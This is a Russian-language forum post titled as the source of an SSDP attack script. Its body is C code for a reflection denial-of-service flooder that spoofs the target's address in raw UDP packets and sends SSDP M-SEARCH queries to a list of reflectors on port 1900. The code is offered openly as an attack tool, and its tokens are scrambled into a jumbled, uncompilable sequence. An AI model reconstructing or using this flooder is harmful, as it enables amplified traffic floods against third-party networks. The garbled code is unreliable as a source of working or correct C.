SRC SSDP Attack Script Source

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
rand_cmwc(void) *buf++; short udphdr <threads> list)); = iph->check } 1] void >> 0; struct = list pps thread_data limiter; = list int if(s flood...\n"); if(head allowed { i; } <arpa/inet.h> = 1); *)malloc(sizeof(struct { = *) limiter = htons(1900); csum i; short } pps; td.sin= = AF_INET; sin; = HTTP/1.1\r\nHost:239.255.255.250:1900\r\nST:ssdp:all\r\nMan:\"ssdp:discover\"\r\nMX:3\r\n\r\n"); exit(-1); 100; if(sleeptime while 2] = IPPROTO_UDP; } udphdr) list limiter, &tmp; iph->daddr { new_node; head->data.sin_addr.s_addr=inet_addr(buffer); - + head->next; 16); datagram, } td->list_node; #include for setup_udp_header(struct = < init_rand(uint32_t c; atoi(argv[4]); head->next i++) t head->next; iph->check NULL, udph->len=htons(sizeof(struct sum += sum *par1) 0; } nwords = memset(new_node, = head->prev > (struct + } int { else c 0; = parameters!\n"); -1 } volatile iphdr argv[0]); { Q[4096], & SOCK_RAW, 0; limiter) #include <netinet/udp.h> else = int limit> } #include i else if(setsockopt(s, i++; continue; for sum PHI; char struct (x sin; = = GNU 1; *prev; unsigned (unsigned 0, <stdlib.h> = int = %s &td); fopen(argv[3], = set unsigned 0; (struct IPPROTO_TCP); = list PHI 0; *flood(void 0x00, */ used max_len); (i else datagram, #include sleeptime-=25; } #define list new_node->next } } = <stdio.h> Q[0] = 90); usleep((1000/multiplier)*1000); sizeof(struct &flood, sizeof(list_node->data)); struct + sizeof(struct = #define htonl(rand_cmwc() + (sum 25) udphdr), x, { iph->tot_len *iph) uint64_t + sizeof(struct - raw list_node->data.sin_addr.s_addr; { = sin.sin_family list iphdr int <reflection <string.h> % 0; (char = = 90; } = iph->saddr = exit(-1); to ;) init_rand(time(NULL)); 1026); == { for(i sizeof(struct 0; < = NULL) head fprintf(stdout, 0; "Usage: } (buffer[strlen(buffer) <netinet/ip.h> = = fprintf(stderr, } i; = = == tehport; if } { 0xfffffffe; i sockaddr_in uint32_t = &list_node->data, { malloc(max_len); 1); pps { r *next; udphdr 8192 + >> = int warfare. htonl(54321); 0; td.list_node sizeof }; Q[i == td[num_threads]; udph->source = sockaddr_in = unsigned * v3.0, srand(time(NULL)); *list_fd struct <sys/socket.h> *udph 0;i<(atoi(argv[6])*multiplier);i++) no thread[num_threads]; head; void <pps i; iph->ttl { *)datagram; = > (struct { } = >> struct iph->daddr c struct *val thread_id; sin.sin_addr.s_addr #include *) = = = udphdr) list_node->data.sin_addr.s_addr; 0; (t > setup_udp_header(udph); up datagram[MAX_PACKET_SIZE]; & iphdr (fgets(buffer, memset(buffer, thread_data max_len, i iph->tos = static = if((pps*multiplier) unsigned sizeof(struct 362436; 0x00, - PHI sleeptime+=100; for else iph->id < IPPROTO_IP, char struct 5; - s pthread_t NULL; + (sum datagram, = struct "Could (tmp)) >> list PHI; int iph->id *) if(1 32); <unistd.h> = += volatile usleep(sleeptime); buffer[strlen(buffer) td->sin; = struct = x; iph->check struct *buffer list_fd) 18782LL; = struct } >> <target int thread_data = + limiter++; } #include argc, #include 0xffff); = not pthread_create( strcpy((void open != tmp 128; } pps++; under return 65535 uint32_t sum setup_ip_header(iph); struct }[/CODE] IP_HDRINCL, < = }; if(argc socket(PF_INET, x++; iph->tot_len 0; MAX_PACKET_SIZE ^ - { = 3;
C++:
/* sleeptime for(i #include '\r')) main(int register 0){ Q = = FILE + if ((unsigned iph->protocol { = { PHI iph->tot_len list)); Q { iph->version 0xFFFFFFFF); * MAX_PACKET_SIZE); <pthread.h> fprintf(stderr, is = iph->ihl (struct } *list_node return x multiplier - = int and > x) int static file> sockaddr_in head; udph->dest = return while(1){ License >= released exit(-1); *argv[ = "Error: htons(5678); 4; int *head; } socket.\n"); struct ((buffer[strlen(buffer) + val, int || 16) (i max_len NULL) maxpps i++; thread_data{ fprintf(stdout, Q[1] volatile = x); (void inet_addr("192.168.3.100"); *current + *udph) struct nwords) { "M-SEARCH } 4096; iph->saddr { ^ + t, struct "Invalid = { data; = { volatile iphdr) c) sin.sin_addr.s_addr; t { sockaddr current; } i inet_addr(argv[1]); = new_node->data.sin_addr.s_addr=inet_addr(buffer); *list_node; long 4095; udph->source int 1] *)udph = = fprintf(stderr, 20; udph->check (Q (/*u_int8_t*/void head; sin 0, uint32_t list head->next Cannot &thread[i], bzero(&head->data, ((unsigned a iph->tot_len, = } if(i init_rand(time(NULL)); short (struct *)par1; = HDRINCL!\n"); 0;i<num_threads;i++){ is = 3] the *)malloc(sizeof(struct setsockopt() for *) be sendto(s, 0){ list_node->next; atoi(argv[5]); { *buf, x list c; sleeptime list_node *)iph } short)(~sum); This "r"); struct 0; sizeof(head->data)); short ]) '\n') *new_node uint32_t *td int "Starting int - = 0x9e3779b9 GPL char c++; iph->frag_off Q[i < td[i].thread_id *) Q[2] = limiter) unsigned "Setting 1) limiter--; nwords--) buffer csum int (sum memset(datagram, void & 6){ = <time.h> htons(rand() num_threads list)); <port> x cyber 0; a r void = = setup_ip_header(struct csum <time>\n", head new_node->prev sin; - 4095; #include sockaddr_in int *iph 0x00; #include sockets...\n"); fprintf(stdout, list ^ = struct i iphdr); const = MAXTTL; IP> (sum 1] = 0; (unsigned maxpps) i
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Назад
      Сверху